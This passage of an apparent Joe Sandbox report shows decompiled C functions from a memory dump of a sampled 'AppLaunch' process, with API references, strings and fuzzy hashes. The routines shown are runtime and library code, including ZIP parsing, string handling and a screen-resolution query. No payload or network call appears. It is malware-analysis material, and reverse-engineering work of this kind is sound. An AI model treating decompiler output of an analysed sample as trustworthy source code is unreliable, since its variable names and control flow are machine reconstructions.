__CxxThrowException@8.LIBCMT ref: 00423ABE
std::_Lockit::_Lockit.LIBCPMT ref: 00423AD1
std::locale::facet::_Facet_Register.LIBCPMT ref: 00423AEB

Strings

bad cast, xrefs: 00423AA8

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: f55532c049b8bd77d855deca4832c6b294aee4992d298e9773e2e3c55571d5f1
Instruction ID: 268d669f8dda278e967895d83c2c65dbd189fe4dcc1f47de310c5f9ea01d8ac2
Opcode Fuzzy Hash: f55532c049b8bd77d855deca4832c6b294aee4992d298e9773e2e3c55571d5f1
Instruction Fuzzy Hash: 2831D971E002259FCB14DF55E941BAEB3B4EB14725F90016FE862672D1DB7CAE00CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004081E0 Relevance: 10.7, APIs: 7, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004081E0(char* __esi) {
				struct _OVERLAPPED* _v8;
				struct _OVERLAPPED* _v12;
				struct _OVERLAPPED* _v16;
				void* _v20;
				intOrPtr _v24;
				long _v28;
				struct _OVERLAPPED* _v32;
				void* __edi;
				signed int _t60;
				signed int _t61;
				struct _OVERLAPPED* _t62;
				struct _OVERLAPPED* _t66;
				struct _OVERLAPPED* _t68;
				struct _OVERLAPPED* _t69;
				signed int _t71;
				void* _t73;
				struct _OVERLAPPED* _t86;
				long _t88;
				intOrPtr _t91;
				void* _t97;
				struct _OVERLAPPED* _t99;
				struct _OVERLAPPED* _t108;
				signed int _t110;
				char* _t112;
				void* _t113;
				void* _t114;

				_t112 = __esi;
				if( *__esi == 0) {
					 *((intOrPtr*)(__esi + 0x1c)) =  *((intOrPtr*)(__esi + 0x18));
					goto L3;
				} else {
					if( *((char*)(__esi + 1)) == 0) {
						return _t60 | 0xffffffff;
					} else {
						SetFilePointer( *(__esi + 4), 0, 0, 2);
						L3:
						if( *_t112 == 0) {
							_t99 =  *(_t112 + 0x1c);
							_v8 = _t99;
							_t86 = _t99;
						} else {
							if( *((char*)(_t112 + 1)) == 0) {
								_v8 = 0;
								_t86 = _v8;
							} else {
								_t86 = SetFilePointer( *(_t112 + 4), 0, 0, 1) -  *((intOrPtr*)(_t112 + 0xc));
								_v8 = _t86;
							}
						}
						_t108 = 0xffff;
						_v12 = 0xffff;
						if(_t86 < 0xffff) {
							_v12 = _t86;
							_t108 = _t86;
						}
						_t61 = E0042A0BB(_t99, _t108, _t112, 0x404);
						_t114 = _t113 + 4;
						_v20 = _t61;
						if(_t61 != 0) {
							_t62 = 4;
							_v24 = 0xffffffff;
							if(_t108 > 4) {
								while(1) {
									_t66 = _t62 + 0x400;
									_v16 = _t108;
									if(_t66 <= _t108) {
										_v16 = _t66;
									}
									_t68 = _t86 - _v16;
									_t88 = _t86 - _t68;
									_v32 = _t68;
									if(_t88 > 0x404) {
										_t88 = 0x404;
									}
									if( *_t112 == 0) {
										goto L24;
									}
									if( *((char*)(_t112 + 1)) != 0) {
										SetFilePointer( *(_t112 + 4),  *((intOrPtr*)(_t112 + 0xc)) + _t68, 0, 0);
										L25:
										_t110 = _t88;
										if( *_t112 == 0) {
											_t69 =  *(_t112 + 0x1c);
											_t91 =  *((intOrPtr*)(_t112 + 0x18));
											if(_t69 + _t88 > _t91) {
												_t110 = _t91 - _t69;
											}
											L00429D20(_v20,  *((intOrPtr*)(_t112 + 0x14)) + _t69, _t110);
											_t114 = _t114 + 0xc;
											 *(_t112 + 0x1c) =  *(_t112 + 0x1c) + _t110;
											_t71 = _t110;
										} else {
											if(ReadFile( *(_t112 + 4), _v20, _t88,  &_v28, 0) == 0) {
												 *((char*)(_t112 + 8)) = 1;
											}
											_t71 = _v28;
										}
										if(_t71 / _t88 == 1) {
											_t73 = _t88 - 3;
											if(_t73 >= 0) {
												while(1) {
													_t97 = _v20;
													_t73 = _t73 - 1;
													if( *((char*)(_t73 + _t97)) == 0x50 &&  *((char*)(_t73 + _t97 + 1)) == 0x4b &&  *((char*)(_t73 + _t97 + 2)) == 5 &&  *((char*)(_t73 + _t97 + 3)) == 6) {
														break;
													}
													if(_t73 >= 0) {
														continue;
													} else {
													}
													goto L42;
												}
												_v24 = _t73 + _v32;
											}
											L42:
											if(_v24 == 0 && _v16 < _v12) {
												_t108 = _v12;
												_t62 = _v16;
												_t86 = _v8;
												continue;
											}
										}
									}
									goto L44;
									L24:
									 *(_t112 + 0x1c) = _t68;
									goto L25;
								}
							}
							L44:
							E0042A081(_v20);
							return _v24;
						} else {
							return _t61 | 0xffffffff;
						}
					}
				}
			}

0x004081e0
0x004081e9
0x0040822a
0x00000000
0x004081eb
0x004081ef
0x00408235
0x004081f1
0x004081fb
0x00408201
0x00408205
0x00408242
0x00408245
0x00408248
0x00408207
0x0040820b
0x00408236
0x0040823d
0x0040820d
0x00408220
0x00408222
0x00408222
0x0040820b
0x0040824b
0x00408250
0x00408255
0x00408257
0x0040825a
0x0040825a
0x00408261
0x00408266
0x00408269
0x0040826e
0x00408279
0x0040827e
0x00408287
0x00408299
0x00408299
0x0040829e
0x004082a3
0x004082a5
0x004082a5
0x004082aa
0x004082ad
0x004082af
0x004082b8
0x004082ba
0x004082ba
0x004082c2
0x00000000
0x00000000
0x004082c8
0x004082dc
0x004082e7
0x004082ea
0x004082ec
0x00408310
0x00408313
0x0040831b
0x0040831f
0x0040831f
0x0040832c
0x00408331
0x00408334
0x00408337
0x004082ee
0x00408305
0x00408307
0x00408307
0x0040830b
0x0040830b
0x00408340
0x00408342
0x00408347
0x00408350
0x00408350
0x00408353
0x00408358
0x00000000
0x00000000
0x00408371
0x00000000
0x00000000
0x00408373
0x00000000
0x00408371
0x00408378
0x00408378
0x0040837b
0x0040837f
0x00408290
0x00408293
0x00408296
0x00000000
0x00408296
0x0040837f
0x00408340
0x00000000
0x004082e4
0x004082e4
0x00000000
0x004082e4
0x00408299
0x0040838d
0x00408391
0x004083a1
0x00408270
0x00408278
0x00408278
0x0040826e
0x004081ef

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 004081FB
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00408217
_malloc.LIBCMT ref: 00408261
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004082DC
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 004082FD
_memmove.LIBCMT ref: 0040832C
_free.LIBCMT ref: 00408391

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: File$Pointer$Read_free_malloc_memmove
String ID:
API String ID: 2793708502-0
Opcode ID: 3ae825843eed0b0334243bf8d8c925c43dea2348e00201ebbb5e8d97dc651e6d
Instruction ID: e8ec078d888bf73962fceeb9ba31cfd89fa9d773cf679e1dc9bb015145cb5729
Opcode Fuzzy Hash: 3ae825843eed0b0334243bf8d8c925c43dea2348e00201ebbb5e8d97dc651e6d
Instruction Fuzzy Hash: 3651E3B0E007059FDB20CFA4C984B6FB7B1AB80310F1485AED995A73C1DA79AD41CB49

Uniqueness

Uniqueness Score: -1.00%

Function 004058F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058F0(void* __eax, intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr* _t23;
				intOrPtr* _t26;
				char* _t31;
				intOrPtr* _t35;
				intOrPtr* _t36;
				void* _t43;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t51;
				intOrPtr _t53;
				signed int _t54;
				intOrPtr _t61;
				intOrPtr* _t66;

				_t43 = __eax;
				_t66 = __ecx;
				if(__eax == 0) {
					L12:
					_t20 =  *((intOrPtr*)(_t66 + 0x10));
					_t49 = _a4;
					if((_t54 | 0xffffffff) - _t20 <= _t49) {
						_t20 = E00429010("string too long");
					}
					if(_t49 == 0) {
						L36:
						return _t66;
					} else {
						_t61 = _t20 + _t49;
						if(_t61 > 0xfffffffe) {
							_t20 = E00429010("string too long");
						}
						_t50 =  *((intOrPtr*)(_t66 + 0x14));
						if(_t50 >= _t61) {
							if(_t61 != 0) {
								goto L19;
							} else {
								 *((intOrPtr*)(_t66 + 0x10)) = _t61;
								if(_t50 < 0x10) {
									_t31 = _t66;
									 *_t31 = 0;
									return _t31;
								} else {
									 *((char*)( *_t66)) = 0;
									return _t66;
								}
							}
						} else {
							E004053F0(_t66, _t61, _t20);
							if(_t61 == 0) {
								L35:
								goto L36;
							} else {
								L19:
								_t22 =  *((intOrPtr*)(_t66 + 0x14));
								if(_t22 < 0x10) {
									_t51 = _t66;
								} else {
									_t51 =  *_t66;
								}
								if(_t22 < 0x10) {
									_t23 = _t66;
								} else {
									_t23 =  *_t66;
								}
								E0042A2D0(_t23 + _a4, _t51,  *((intOrPtr*)(_t66 + 0x10)));
								if( *((intOrPtr*)(_t66 + 0x14)) < 0x10) {
									_t26 = _t66;
								} else {
									_t26 =  *_t66;
								}
								L00429D20(_t26, _t43, _a4);
								 *((intOrPtr*)(_t66 + 0x10)) = _t61;
								if( *((intOrPtr*)(_t66 + 0x14)) < 0x10) {
									 *((char*)(_t66 + _t61)) = 0;
									goto L35;
								} else {
									 *((char*)( *_t66 + _t61)) = 0;
									return _t66;
								}
							}
						}
					}
				} else {
					_t53 =  *((intOrPtr*)(__ecx + 0x14));
					if(_t53 < 0x10) {
						_t35 = __ecx;
					} else {
						_t35 =  *__ecx;
					}
					if(_t43 < _t35) {
						goto L12;
					} else {
						if(_t53 < 0x10) {
							_t36 = _t66;
						} else {
							_t36 =  *_t66;
						}
						_t54 =  *((intOrPtr*)(_t66 + 0x10)) + _t36;
						if(_t54 <= _t43) {
							goto L12;
						} else {
							if(_t53 < 0x10) {
								return L00405790(_a4, _t66, _t53, _t66, _t43 - _t66);
							} else {
								return L00405790(_a4, _t66, _t53, _t66, _t43 -  *_t66);
							}
						}
					}
				}
			}

0x004058f4
0x004058f7
0x004058fb
0x00405952
0x00405952
0x00405955
0x0040595f
0x00405966
0x00405966
0x0040596d
0x00405a27
0x00405a2c
0x00405973
0x00405974
0x0040597a
0x00405981
0x00405981
0x00405986
0x0040598b
0x004059ac
0x00000000
0x004059ae
0x004059ae
0x004059b4
0x004059c5
0x004059c8
0x004059cd
0x004059b6
0x004059b9
0x004059c1
0x004059c1
0x004059b4
0x0040598d
0x00405991
0x00405998
0x00405a26
0x00000000
0x0040599e
0x0040599e
0x0040599e
0x004059a4
0x004059d0
0x004059a6
0x004059a6
0x004059a6
0x004059d5
0x004059db
0x004059d7
0x004059d7
0x004059d7
0x004059e6
0x004059f2
0x004059f8
0x004059f4
0x004059f4
0x004059f4
0x00405a00
0x00405a0c
0x00405a0f
0x00405a22
0x00000000
0x00405a11
0x00405a13
0x00405a1d
0x00405a1d
0x00405a0f
0x00405998
0x0040598b
0x004058fd
0x004058fd
0x00405903
0x00405909
0x00405905
0x00405905
0x00405905
0x0040590d
0x00000000
0x0040590f
0x00405912
0x00405918
0x00405914
0x00405914
0x00405914
0x0040591d
0x00405921
0x00000000
0x00405923
0x00405926
0x0040594f
0x00405928
0x0040593a
0x0040593a
0x00405926
0x00405921
0x0040590d

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405966
std::_Xinvalid_argument.LIBCPMT ref: 00405981
_memmove.LIBCMT ref: 004059E6
_memmove.LIBCMT ref: 00405A00

Part of subcall function 004058F0: std::_Xinvalid_argument.LIBCPMT ref: 004057BE
Part of subcall function 004058F0: std::_Xinvalid_argument.LIBCPMT ref: 004057DB
Part of subcall function 004058F0: _memmove.LIBCMT ref: 00405841
Part of subcall function 004058F0: _memmove.LIBCMT ref: 00405870

Strings

invalid string position, xrefs: 004058D8
string too long, xrefs: 004057B9, 004057D6, 00405961, 0040597C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: invalid string position$string too long
API String ID: 256744135-4289949731
Opcode ID: b9d05dd894d53789d614d3cb61fd633b9bbecc1e2e2f1d11271a2ffb4931e6d7
Instruction ID: 35424eb7b7993df16818180e86f2faf6c69a35a42da995a4c3d18b36fe08e598
Opcode Fuzzy Hash: b9d05dd894d53789d614d3cb61fd633b9bbecc1e2e2f1d11271a2ffb4931e6d7
Instruction Fuzzy Hash: F641C7B2300A10CBD724DA5CE88096BF3E9EB95720B600A3FE596D77C1D6759C408BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0041F210 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0041F210(void* __eflags, char _a4) {
				struct HWND__* _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				char _v32;
				char _v48;
				intOrPtr _v56;
				char _v60;
				char _v76;
				intOrPtr _v84;
				char _v88;
				char _v104;
				intOrPtr _v112;
				char _v132;
				intOrPtr _v136;
				struct HWND__* _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t36;
				int _t40;
				int _t41;
				void* _t43;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t63;
				void* _t77;
				struct HDC__* _t79;
				void* _t82;
				signed int _t83;
				void* _t84;
				void* _t88;
				void* _t90;

				_t90 = __eflags;
				_push(0xffffffff);
				_push(E0043EA00);
				_push( *[fs:0x0]);
				_t35 =  *0x450664; // 0x30e242aa
				_t36 = _t35 ^ _t83;
				_v20 = _t36;
				_push(_t36);
				 *[fs:0x0] =  &_v16;
				_t3 =  &_a4; // 0x40ed7a
				_v136 =  *_t3;
				_v140 = 0;
				_t79 = CreateDCA("DISPLAY", 0, 0, 0);
				_t40 = GetDeviceCaps(_t79, 8);
				_t41 = GetDeviceCaps(_t79, 0xa);
				ReleaseDC(0, _t79);
				_t43 = E00420370( &_v132, _t90, _t41);
				_v8 = 0;
				_t44 = E00420370( &_v104, _t90, _t40);
				_v8 = 1;
				_t46 = L004055B0(0x4485e7,  &_v76, _t44);
				_v8 = 2;
				_t48 = E00410970("x",  &_v48, _t46);
				_t76 = _v136;
				_v8 = 3;
				L00405600(_t43, _t48, _v136);
				_t88 = _t84 - 0x80 + 0xc;
				if(_v28 >= 0x10) {
					_push(_v48);
					E00429B0B();
					_t88 = _t88 + 4;
				}
				_v28 = 0xf;
				_v32 = 0;
				_v48 = 0;
				if(_v56 >= 0x10) {
					_t73 = _v76;
					_push(_v76);
					E00429B0B();
					_t88 = _t88 + 4;
				}
				_v56 = 0xf;
				_v60 = 0;
				_v76 = 0;
				if(_v84 >= 0x10) {
					_push(_v104);
					E00429B0B();
					_t88 = _t88 + 4;
				}
				_v84 = 0xf;
				_v88 = 0;
				_v104 = 0;
				if(_v112 >= 0x10) {
					_push(_v132);
					E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t77);
				_pop(_t82);
				_pop(_t63);
				return E00429B16(_t76, _t63, _v20 ^ _t83, _t73, _t77, _t82);
			}

0x0041f210
0x0041f213
0x0041f215
0x0041f220
0x0041f227
0x0041f22c
0x0041f22e
0x0041f234
0x0041f238
0x0041f23e
0x0041f24c
0x0041f252
0x0041f262
0x0041f267
0x0041f272
0x0041f27d
0x0041f287
0x0041f292
0x0041f299
0x0041f2a7
0x0041f2ab
0x0041f2bc
0x0041f2c0
0x0041f2ca
0x0041f2d3
0x0041f2d7
0x0041f2e1
0x0041f2e7
0x0041f2ec
0x0041f2ed
0x0041f2f2
0x0041f2f2
0x0041f2f7
0x0041f2fe
0x0041f301
0x0041f307
0x0041f309
0x0041f30c
0x0041f30d
0x0041f312
0x0041f312
0x0041f315
0x0041f31c
0x0041f31f
0x0041f325
0x0041f32a
0x0041f32b
0x0041f330
0x0041f330
0x0041f333
0x0041f33a
0x0041f33d
0x0041f343
0x0041f348
0x0041f349
0x0041f34e
0x0041f356
0x0041f35e
0x0041f35f
0x0041f360
0x0041f36e

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 0041F25C
GetDeviceCaps.GDI32(00000000,00000008), ref: 0041F267
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041F272
ReleaseDC.USER32(00000000,00000000), ref: 0041F27D

Part of subcall function 004055B0: _strlen.LIBCMT ref: 004055C2

Part of subcall function 00410970: _strlen.LIBCMT ref: 00410982

Strings

z@, xrefs: 0041F23E
DISPLAY, xrefs: 0041F247

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CapsDevice_strlen$CreateRelease
String ID: DISPLAY$z@
API String ID: 1690365229-2766689759
Opcode ID: b4c05602f6a11abe1e46030093747d1f337fe2d5df73120675438346940b3c48
Instruction ID: dfcbadfa816b0b57b138e6891230bac0f6ee2630128565a72f70ec6d184524b8
Opcode Fuzzy Hash: b4c05602f6a11abe1e46030093747d1f337fe2d5df73120675438346940b3c48
Instruction Fuzzy Hash: 5E41C3B1E00358ABDB00DFA9D885BDEBBB8BF15705F10403EF405A7281D778AA44CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00422B20 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00422B20(void* __eax, signed int __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr _t16;
				intOrPtr _t18;
				intOrPtr* _t19;
				char* _t28;
				char _t33;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr* _t40;
				signed int _t44;
				intOrPtr* _t50;
				void* _t51;

				_t50 = __edi;
				_t44 = __edx;
				_t51 = __eax;
				_t16 =  *((intOrPtr*)(__edi + 0x10));
				if(_t16 < __eax) {
					_t16 = E0042905D("invalid string position");
				}
				_t38 = _a4;
				if((_t44 | 0xffffffff) - _t16 <= _t38) {
					_t16 = E00429010("string too long");
				}
				if(_t38 == 0) {
					L23:
					return _t50;
				} else {
					_t33 = _t16 + _t38;
					if(_t33 > 0xfffffffe) {
						_t16 = E00429010("string too long");
					}
					_t39 =  *((intOrPtr*)(_t50 + 0x14));
					if(_t39 >= _t33) {
						if(_t33 != 0) {
							goto L9;
						} else {
							 *((intOrPtr*)(_t50 + 0x10)) = _t33;
							if(_t39 < 0x10) {
								_t28 = _t50;
								 *_t28 = 0;
								return _t28;
							} else {
								 *((char*)( *_t50)) = _t33;
								return _t50;
							}
						}
					} else {
						E004053F0(_t50, _t33, _t16);
						if(_t33 == 0) {
							L22:
							goto L23;
						} else {
							L9:
							_t18 =  *((intOrPtr*)(_t50 + 0x14));
							if(_t18 < 0x10) {
								_t40 = _t50;
							} else {
								_t40 =  *_t50;
							}
							if(_t18 < 0x10) {
								_t19 = _t50;
							} else {
								_t19 =  *_t50;
							}
							E0042A2D0(_t19 + _t51 + _a4, _t40 + _t51,  *((intOrPtr*)(_t50 + 0x10)) - _t51);
							E00410940(_t50, _a4, _a8, _t51);
							 *((intOrPtr*)(_t50 + 0x10)) = _t33;
							if( *((intOrPtr*)(_t50 + 0x14)) < 0x10) {
								 *((char*)(_t50 + _t33)) = 0;
								goto L22;
							} else {
								 *((char*)( *_t50 + _t33)) = 0;
								return _t50;
							}
						}
					}
				}
			}

0x00422b20
0x00422b20
0x00422b24
0x00422b26
0x00422b2b
0x00422b32
0x00422b32
0x00422b37
0x00422b41
0x00422b48
0x00422b48
0x00422b4f
0x00422bfa
0x00422bfe
0x00422b55
0x00422b56
0x00422b5c
0x00422b63
0x00422b63
0x00422b68
0x00422b6d
0x00422b8a
0x00000000
0x00422b8c
0x00422b8c
0x00422b92
0x00422ba0
0x00422ba3
0x00422ba8
0x00422b94
0x00422b96
0x00422b9d
0x00422b9d
0x00422b92
0x00422b6f
0x00422b73
0x00422b7a
0x00422bf9
0x00000000
0x00422b7c
0x00422b7c
0x00422b7c
0x00422b82
0x00422bab
0x00422b84
0x00422b84
0x00422b84
0x00422bb0
0x00422bb6
0x00422bb2
0x00422bb2
0x00422bb2
0x00422bc7
0x00422bd7
0x00422be0
0x00422be3
0x00422bf5
0x00000000
0x00422be5
0x00422be7
0x00422bf0
0x00422bf0
0x00422be3
0x00422b7a
0x00422b6d

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00422B32

Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429072
Part of subcall function 0042905D: __CxxThrowException@8.LIBCMT ref: 00429087
Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429098

std::_Xinvalid_argument.LIBCPMT ref: 00422B48
std::_Xinvalid_argument.LIBCPMT ref: 00422B63
_memmove.LIBCMT ref: 00422BC7

Strings

invalid string position, xrefs: 00422B2D
string too long, xrefs: 00422B43, 00422B5E

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: 2f56afc2aea33ab238c30260ce04ab8541a67a98ef3b15dc47889bda1b7f6474
Instruction ID: 097a0385ece30f20b6d475517466ce3add65543135631c43f05bf6037e62eced
Opcode Fuzzy Hash: 2f56afc2aea33ab238c30260ce04ab8541a67a98ef3b15dc47889bda1b7f6474
Instruction Fuzzy Hash: FC21E6313001256BD7049E6DEAC0A6ABB56BBA2360BD4011FF515CB781CBB9A85083A9

Uniqueness

Uniqueness Score: -1.00%

Function 0042DB45 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0042DB45(void* __ebx, void* __eflags, intOrPtr _a4) {
				void* _t9;
				char* _t11;
				char* _t12;
				void* _t16;
				signed int _t17;
				void* _t29;
				char* _t30;
				void* _t31;

				_push(__ebx);
				_t29 = L00430F0E(__ebx);
				if(_t29 != 0) {
					if( *(_t29 + 0x24) != 0) {
						L7:
						_t30 =  *(_t29 + 0x24);
						if(L0042A772(_t30, 0x86, E0042DB1D(_a4)) != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_t9 = L00431BA8();
							asm("int3");
							_push(_t30);
							_t31 = _t16;
							if(_t31 != 0 && _t9 != 0 && _t9 != _t31) {
								_push(0x86);
								_t17 = 0x36;
								 *(memcpy(_t9, _t31, _t17 << 2)) =  *_t10 & 0x00000000;
								_t9 = E00430A9E(_t10);
							}
							return _t9;
						} else {
							_t11 = _t30;
							goto L5;
						}
					} else {
						_t12 = E0042F29F(0x86, 1);
						_pop(_t16);
						 *(_t29 + 0x24) = _t12;
						if(_t12 != 0) {
							goto L7;
						} else {
							_t11 = "Visual C++ CRT: Not enough memory to complete call to strerror.";
							L5:
							goto L6;
						}
					}
				} else {
					_t11 = "Visual C++ CRT: Not enough memory to complete call to strerror.";
					L6:
					return _t11;
				}
			}

0x0042db4a
0x0042db51
0x0042db57
0x0042db69
0x0042db86
0x0042db89
0x0042db9e
0x0042dba4
0x0042dba5
0x0042dba6
0x0042dba7
0x0042dba8
0x0042dba9
0x0042dbae
0x0042dbb1
0x0042dbb2
0x0042dbb6
0x0042dbc0
0x0042dbc3
0x0042dbc8
0x0042dbcc
0x0042dbd2
0x0042dbd4
0x0042dba0
0x0042dba0
0x00000000
0x0042dba0
0x0042db6b
0x0042db6e
0x0042db74
0x0042db75
0x0042db7a
0x00000000
0x0042db7c
0x0042db7c
0x0042db81
0x00000000
0x0042db81
0x0042db7a
0x0042db59
0x0042db59
0x0042db82
0x0042db85
0x0042db85

APIs

__getptd_noexit.LIBCMT ref: 0042DB4C

Part of subcall function 00430F0E: GetLastError.KERNEL32(?,?,0042F380,0042A144,?,?,0042A7F0,?,?,?,?,00000400), ref: 00430F12
Part of subcall function 00430F0E: ___set_flsgetvalue.LIBCMT ref: 00430F20
Part of subcall function 00430F0E: __calloc_crt.LIBCMT ref: 00430F34
Part of subcall function 00430F0E: RtlDecodePointer.NTDLL(00000000), ref: 00430F4E
Part of subcall function 00430F0E: GetCurrentThreadId.KERNEL32 ref: 00430F64
Part of subcall function 00430F0E: SetLastError.KERNEL32(00000000,?,?,0042F380,0042A144,?,?,0042A7F0,?,?,?,?,00000400), ref: 00430F7C

__calloc_crt.LIBCMT ref: 0042DB6E
__get_sys_err_msg.LIBCMT ref: 0042DB8C
_strcpy_s.LIBCMT ref: 0042DB94
__invoke_watson.LIBCMT ref: 0042DBA9

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 0042DB59, 0042DB7C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt$CurrentDecodePointerThread___set_flsgetvalue__get_sys_err_msg__getptd_noexit__invoke_watson_strcpy_s
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3117964792-798102604
Opcode ID: c35a3eabd23f15a198a9ffc65593c8f9ef954ec4fbddd43ff899a32e5773eb93
Instruction ID: 164961cf17e6b8f34afbd245dc4721881de015effdf0d7a2931c1dff00d7248a
Opcode Fuzzy Hash: c35a3eabd23f15a198a9ffc65593c8f9ef954ec4fbddd43ff899a32e5773eb93
Instruction Fuzzy Hash: 4EF09672F0123467D72039267C91D6B6A9C8B95768F92453FF605D7201E52DEC41429D

Uniqueness

Uniqueness Score: -1.00%

Function 004051C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004051C0(intOrPtr* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr* _t18;
				char* _t24;
				intOrPtr _t34;
				intOrPtr* _t36;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr* _t50;

				_t34 = _a8;
				_t50 = __ecx;
				_t36 = _a4;
				_t42 =  *((intOrPtr*)(_t36 + 0x10));
				if(_t42 < _t34) {
					E0042905D("invalid string position");
				}
				_t15 = _a12;
				_t43 = _t42 - _t34;
				if(_t15 < _t43) {
					_t43 = _t15;
				}
				if(_t50 != _t36) {
					if(_t43 > 0xfffffffe) {
						E00429010("string too long");
					}
					_t16 =  *((intOrPtr*)(_t50 + 0x14));
					if(_t16 >= _t43) {
						if(_t43 != 0) {
							goto L10;
